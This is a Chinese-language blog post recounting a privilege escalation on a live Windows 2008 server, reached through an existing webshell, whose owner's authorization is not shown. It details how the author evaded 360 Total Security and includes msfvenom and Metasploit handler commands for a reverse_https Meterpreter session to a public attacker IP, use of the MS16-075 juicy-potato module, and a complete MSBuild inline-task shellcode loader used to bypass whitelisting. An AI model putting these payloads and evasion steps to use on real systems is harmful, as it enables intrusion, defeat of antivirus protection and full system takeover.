绕过360安全卫士提权实战案例

简介: 绕过360安全卫士提权实战案例


0x01 前言

这个案例也是帮一个朋友看的,拿到Webshell权限后先对目标机器进行了简单的信息搜集,通过以下信息基本能确定目标机器上安装的有360安全卫士和宝塔Windows服务器运维管理面板,其中包括有宝塔安装的MySQL数据库和FileZilla Server软件等。

0x02 信息搜集

目标机器基本信息:

    支持脚本:ASP、PHP(不能执行命令)
    目标系统:Windows 2008 R2(IIS7.5)
    当前权限:iis apppool\**********.com
    开放端口:21、80、135、888、3306、6088、8888、12828(TermService)
    进程名称:360tray.exe、ZhuDongFangYu.exe、FileZilla_Server.exe、mysqld.exe、runserver.exe(btPanel)、task.exe(btTask)、python.exe、KuaiYun.exe(景安云自带插件)

    注:这里因为宝塔安装目录权限和随机密码安全机制的问题,D:\BtSoft\目录没有读取和写入权限,所以我们没办法直接利用目标机器上的MySQL、FileZilla Server来进行权限提升。



    0x03 实战提权过程

    (1) 笔者根据个人经验感觉可以利用MS16-075来进行权限提升,但是由于目标机器存在360安全卫士,在提权过程中遇到了不少问题,比如我们上传的Windows Payload、大部分提权EXP以及其它恶意程序在执行过程中都会被360安全卫士查杀,首次执行无回显,二次执行已被查杀


    (2) web_delivery、hta_server模块生成的Payload也会被目标机器上的360安全卫士的Powershell进程防护拦截,mshta.exe可以被正常执行,但执行底层powershell.exe会被拦截。



    (3) 因为目标机器用的宝塔Windows服务器运维管理面板,默认安装的有Python环境,利用Python Payload可以成功得到会话,但是无法使用incognito扩展和MS16-075模块

    (4) 使用php/meterpreter/reverse_tcp得到的会话功能有限,很多命令执行不了,同样无法使用incognito扩展和MS16-075模块。

    (5) 笔者最终是通过MSBuild.exe白名单成功得到目标机器Meterpreter会话,这里需要将x86会话进程注入到x64进程中去,然后再利用ms16_075_reflection_juicy本地权限提升模块成功拿到目标SYSTEM权限,其它白名单也就没有再去测试了(留了个坑,自己去踩)0.0 !


      root@kali:~# msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=公网IP地址 LPORT=5555 -f csharp
      msf5 > use exploit/multi/handler
      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
      msf5 exploit(multi/handler) > set lhost 公网IP地址
      msf5 exploit(multi/handler) > set lport 5555
      msf5 exploit(multi/handler) > exploit



      0x04 MSBuild白名单


        <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
                 <!-- This inline task executes shellcode. -->
                 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
                 <!-- Save This File And Execute The Above Command -->
                 <!-- Author: Casey Smith, Twitter: @subTee -->
                 <!-- License: BSD 3-Clause -->
            <Target Name="Hello">
              <ClassExample />
            </Target>
            <UsingTask
              TaskName="ClassExample"
              TaskFactory="CodeTaskFactory"
              AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
              <Task>
                <Code Type="Class" Language="cs">
                <![CDATA[
            using System;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample :  Task, ITask
            {         
              private static UInt32 MEM_COMMIT = 0x1000;          
              private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
              [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
              [DllImport("kernel32")]
                private static extern IntPtr CreateThread(            
                UInt32 lpThreadAttributes,
                UInt32 dwStackSize,
                UInt32 lpStartAddress,
                IntPtr param,
                UInt32 dwCreationFlags,
                ref UInt32 lpThreadId           
                );
              [DllImport("kernel32")]
                private static extern UInt32 WaitForSingleObject(           
                IntPtr hHandle,
                UInt32 dwMilliseconds
                );          
              public override bool Execute()
              {
                byte[] shellcode = new byte[] { 
        Insert Shellcode Here };
                  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                  Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                  IntPtr hThread = IntPtr.Zero;
                  UInt32 threadId = 0;
                  IntPtr pinfo = IntPtr.Zero;
                  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
                  return true;
              } 
            }     
                ]]>
                </Code>
              </Task>
            </UsingTask>
          </Project>


        相关文章
        |
        7月前
        |
        安全 PHP Apache
        记一次匈牙利服务器提权案例
        记一次匈牙利服务器提权案例
        55 0
        |
        6月前
        |
        安全 小程序 Windows
        [笔记]攻防工具分享之 CobaltStrike框架 《二》生成后门
        [笔记]攻防工具分享之 CobaltStrike框架 《二》生成后门
        103 0
        |
        7月前
        |
        开发框架 安全 .NET
        记一次绕过安全狗和360提权案例
        记一次绕过安全狗和360提权案例
        95 0
        |
        7月前
        |
        SQL Shell 数据库
        MSSQL绕过微软杀毒提权案例
        MSSQL绕过微软杀毒提权案例
        133 0
        |
        7月前
        |
        XML 开发框架 安全
        记一次后门爆破到提权实战案例
        记一次后门爆破到提权实战案例
        50 0
        |
        7月前
        |
        安全 关系型数据库 MySQL
        黑吃黑Getshell到提权实战案例
        黑吃黑Getshell到提权实战案例
        217 0
        |
        7月前
        Potato土豆提权工具绕过防护思路-1
        Potato土豆提权工具绕过防护思路-1
        88 0
        |
        7月前
        |
        开发框架 安全 .NET
        冰蝎WebShell免杀工具(支持4.0.6)
        冰蝎WebShell免杀工具(支持4.0.6)
        271 0
        |
        Shell 应用服务中间件 网络安全
        迷糊的提权方式以及利用ssrf到最终提权靶机(三)
        迷糊的提权方式以及利用ssrf到最终提权靶机
        129 0
        迷糊的提权方式以及利用ssrf到最终提权靶机(三)
        |
        安全 Java 应用服务中间件
        迷糊的提权方式以及利用ssrf到最终提权靶机(二)
        迷糊的提权方式以及利用ssrf到最终提权靶机
        77 0
        迷糊的提权方式以及利用ssrf到最终提权靶机(二)